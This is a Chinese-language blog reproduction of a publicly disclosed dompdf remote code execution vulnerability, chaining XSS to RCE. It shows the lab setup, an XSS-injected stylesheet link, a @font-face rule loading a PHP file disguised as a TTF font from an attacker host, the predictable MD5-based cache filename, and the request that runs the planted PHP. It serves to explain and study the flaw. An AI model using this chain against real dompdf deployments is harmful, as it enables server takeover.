从XSS到 RCE (dompdf 0day)

从XSS到 RCE (dompdf 0day)

首先进入:https://github.com/positive-security/dompdf-rce 下载必要的源码

复现系统:kali 2022.1

话不多说直接开始: 配置环境:

1
2
cd application //
php -S localhost:9000
1
2
cd expliot
php -S localhost:9001

/img/rce-pdf/1.png
正常访问 发现:
/img/rce-pdf/2.png
我们加入title的时候会改变上面的回显 尝试xss
/img/rce-pdf/3.png
发现可以 鉴于该站点没有在客户端的浏览器中存储任何敏感信息(例如身份验证 cookie),这本身就是一个低严重性的发现。

然后我们输入playload:

1
http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

/img/rce-pdf/4.png
发现rce成功!

分析漏洞点:

此时,我们将注意力转移到dompdf 的源代码上,看看我们是否能够找到可以让我们进一步访问服务器的漏洞。

首先是两个配置:

在 PDF 渲染期间执行嵌入式 PHP,之后的被禁用了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within  ...  tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;

远程资源加载:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;

然后我们可以测试是否这个功能开启 利用xss构造语句:?t=aa<link rel=stylesheet href="xxxxxxx/test.css">&pdf

设置时$isRemoteEnabled(或版本 ≤ 0.8.5,无论此设置如何),dompdf 允许通过 font-face CSS 规则加载自定义字体,如下所示:

1
2
3
4
5
6
@font-face {
   font-family:'TestFont';
   src:url('http://attacker.local/test_font.ttf');
   font-weight:'normal';
   font-style:'normal';
 }

当使用外部字体时,dompdf 将其缓存在本地/lib/fonts子目录中,并在dompdf_font_family_cache.phpusing中添加相应的条目saveFontFamilies()。此函数将 dompdf 已知的字体编码为 PHP 数组,以及稍后查找它们所需的信息。

从我们在系统其他地方找到的日志文件中,我们已经怀疑 dompdf 存储在可从 web-root 访问的目录中,实际上在尝试访问字体缓存索引时缺少错误消息似乎表明相同:

如果我们不能使用字体缓存索引……我们可以直接使用字体缓存吗? 看下dompdf如何如何注册新字体(部分,具体在这里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**  
* @param array $style  
* @param string $remoteFile  
* @param resource $context  
* @return bool  
*/  
public function registerFont($style, $remoteFile, $context = null)  
{  
 $fontname = mb_strtolower($style["family"]);  
 $styleString = $this->getType("{$style['weight']} {$style['style']}");  
  
 $fontDir = $this->options->getFontDir();  
 $remoteHash = md5($remoteFile);  
  
 $prefix = $fontname . "_" . $styleString;  
 $prefix = preg_replace("[\\W]", "_", $prefix);  
 $prefix = preg_replace("/[^-_\\w]+/", "", $prefix);  
  
 $localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;  
 $localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));  
  
 // Download the remote file  
 list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);  
  
 $localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");  
 file_put_contents($localTempFile, $remoteFileContent);  
  
 $font = Font::load($localTempFile);  
  
 if (!$font) {  
 unlink($localTempFile);  
 return false;  
 }  
  
 $font->parse();  
 $font->close();  
  
 unlink($localTempFile);  
  
 // Save the changes  
 file_put_contents($localFile, $remoteFileContent);  
 $this->saveFontFamilies();  
  
 return true;  
}

可以看到,新缓存字体的名字是确定了的,字体名称,**样式,MD5(RemoteURL)**这三个组成,比如,url是这样:http://attacker.local/test_font.ttf样式为normal,那么将被存为:testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf

那么这样的话,即使没有目录遍历的洞,也可以不用爆破直接知道文件名。

但是源码有个问题,他判断字体文件是否正常,是基于上传文件的文件头,类似Linux的判断方式,而不管文件后缀,那么即使使用其他后缀,只要符合ttf的文件头标准,仍可被解析。

下面是构造的css以及ttf(php)

1
2
3
4
5
6
@font-face {  
 font-family:'exploitfont';  
 src:url('http://localhost:9001/exploit_font.php');  
 font-weight:'normal';  
 font-style:'normal';  
 }

ttf结构网上搜就有了

ttf文件结构 https://juejin.cn/post/7010064099027451912 原文地址:https://positive.security/blog/dompdf-rce